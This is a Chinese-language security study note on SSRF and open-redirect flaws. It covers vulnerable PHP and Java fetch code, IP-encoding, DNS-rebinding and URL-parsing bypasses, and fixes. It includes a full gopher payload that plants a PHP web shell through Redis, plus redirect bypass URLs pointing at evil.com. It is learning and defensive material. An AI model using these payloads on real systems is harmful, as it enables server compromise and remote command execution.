前言

ssrf

导致ssrf的原因

一般为内部服务相外发送请求,如构造请求,302跳转

相关函数

php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
file_put_contents($filename,$content);//读取文件

$fp=fsockopen($host,int($port),$errno,$errstr,30);
if(!fp)
{
echo "$errstr(error number $errno)\n";
}
else
{
$out="GET $link HTTP/1.1\r\n";
$out.="Host:$host\r\n";
$out.="Connection:Close\r\n\r\n\r\n";
fwrite($fp,$out);//打开一个网络连接,自定义包
while(!feof($fp))
{
$contents.=fgets($fp,1024);
}
fclose($fp);
}

$curlobj=curl_init();
curl_setopt($curlobj,CURLOPT_POST,0);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curlobj,CURLOPT_URL,$_POST['url']);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename='../images/'.rand().'.jpg';
file_put_contents($filename,$result);
$img="<img src=\"".$filename."\"/>";
echo $img;

java

java中的SSRF不像PHP中那样灵活,利用起来相对的局限比较大

1
2
3
4
5
//使用Java原生的HttpUrlConnection用来发送Http请求,请求的url来自用户输入,则该处存在SSRF漏洞
HttpServletRequest request = ServletActionContext.getRequest();
String url = request.getParameter("url");
URL obj = new URL(url);
HttpUrlConnection con = (HttpURLConnection) onj.openConnection();

ssrf绕过

http的省略

Location: //baidu.com/
//开头的host,浏览器默认会用当前协议去重定向,即可造成任意302跳转问题

更改IP地址写法

127.0.0.1的不同进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//十六进制
http://0x7F.0.0.1/flag.php
//八进制
http://0177.0.0.1/flag.php
//10 进制
http://2130706433/flag.php
//16 进制
http://0x7F000001/flag.php

//特殊的省略模式(省略中间的0)
http://127.1/flag.php
//127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
http://127.127.127.127/flag.php
//其他方法
http://0/flag.php
http://0.0.0.0/flag.php

地址转换工具:http://www.msxindl.com/tools/ip/ip_num.asp

302跳转

还可以自己搭网站

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

访问这个网站就会跳转到127.0.0.1

域名解析

把自己的域名A记录设为了127.0.0.1
现成的: http://sudo.cc

有一个网站地址是:xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:
当我们访问:http://10.0.0.3 foo.bar.127.0.0.1.xip.io/1.php,实际上访问的是http://127.0.0.1/1.php。

DNS 重绑

编写dns服务,当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。
https://lock.cmpxchg8b.com/rebinder.html
http://ceye.io/dns-rebinding

Linux dns默认不缓存,windows and mac,为了加快http访问速度,系统会进行DNS缓存,Java 应用的默认 TTL 为10s,这个默认配置会导致 DNS Rebinding 绕过失败

如何防止DNS重绑定攻击
1.更改路由器的配置,过滤DNS响应中的私有IP范围等可疑IP地址。

2.内部的网络设备应该验证其自己的主机是否与所请求的主机匹配。如HTTP服务器添加“主机”标头验证。(Web服务器应验证所请求的Host标头是否与其预期值完全匹配,如果不满足,则使用403 Forbidden HTTP状态代码进行响应)。

3.使用HTTPS而不是HTTP,使用HTTPS时,由于存在证书验证机制,浏览器会验证与目标服务器的身份是否匹配

利用url解析规则绕过

URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

1
2
3
4
5
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
//url=http://ctf.@127.0.0.1/flag.php?.show

利用函数的解析不同进行绕过

暂时不想写,网上都有

ssrf常见利用

协议

phar:// #触发phar反序列化
file:// #读文件

disk://

gopher:// #内网渗透常用
Gopher 协议的语法格式如下:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
gopher://10.10.5.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

//解码
gopher://10.10.5.11:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34


<?php system($_GET['cmd']); ?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

gopher协议在各个语言中的限制
PHP php版本至少为5.3
Java 小于JDK1.7

修复

可以采取白名单,限制内网Ip。
禁止30x跳转
对返回内容进行识别
禁用一些不必要的协议
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

url跳转漏洞

一般在用户访问到需要登录才能使用的功能时,或者像是sso统一认证时,为了保障用户的使用体验,有可能会使用想是redirect的参数记录用户的来的登录页面的refer,当登录成功时,就会跳转页面到之前的页面

使用场景

跳转目录的

如:
https://xx.xxx.com.cn/?redirect=/user/info.php
修改为
https://xx.xxx.com.cn/?redirect=@www.baidu.com

url跳转的实现

1
2
3
1.META标签内跳转
2.javascript跳转
3.header跳转

url跳转漏洞利用方法

钓鱼:利用源码小偷制作钓鱼网站
配合xss漏洞:xss执行js脚本
配合csrf漏洞:配合csrf操作危险请求

绕过 illegal url redirect

一般的防御方法就是加一个跳转页面或者白名单

1
2
3
4
5
6
7
http://www.aaa.com?returnUrl=http://www.evil.com/www.aaa.com
http://www.aaa.com?returnUrl=http://www.evil.com?www.aaa.com
http://www.aaa.com?returnUrl=http://www.evil.com\www.aaa.com
http://www.aaa.com?returnUrl=http://www.aaa.com@www.evil.com
http://www.aaa.com?returnUrl=http://www.aaa.com.220.181.57.217.xip.io//ssrf的方法
http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com
http://www.aaa.com?returnUrl=http://cccaaa.com //注册一个相似的域名(代价有点大一般没人这么搞)

OAuth劫持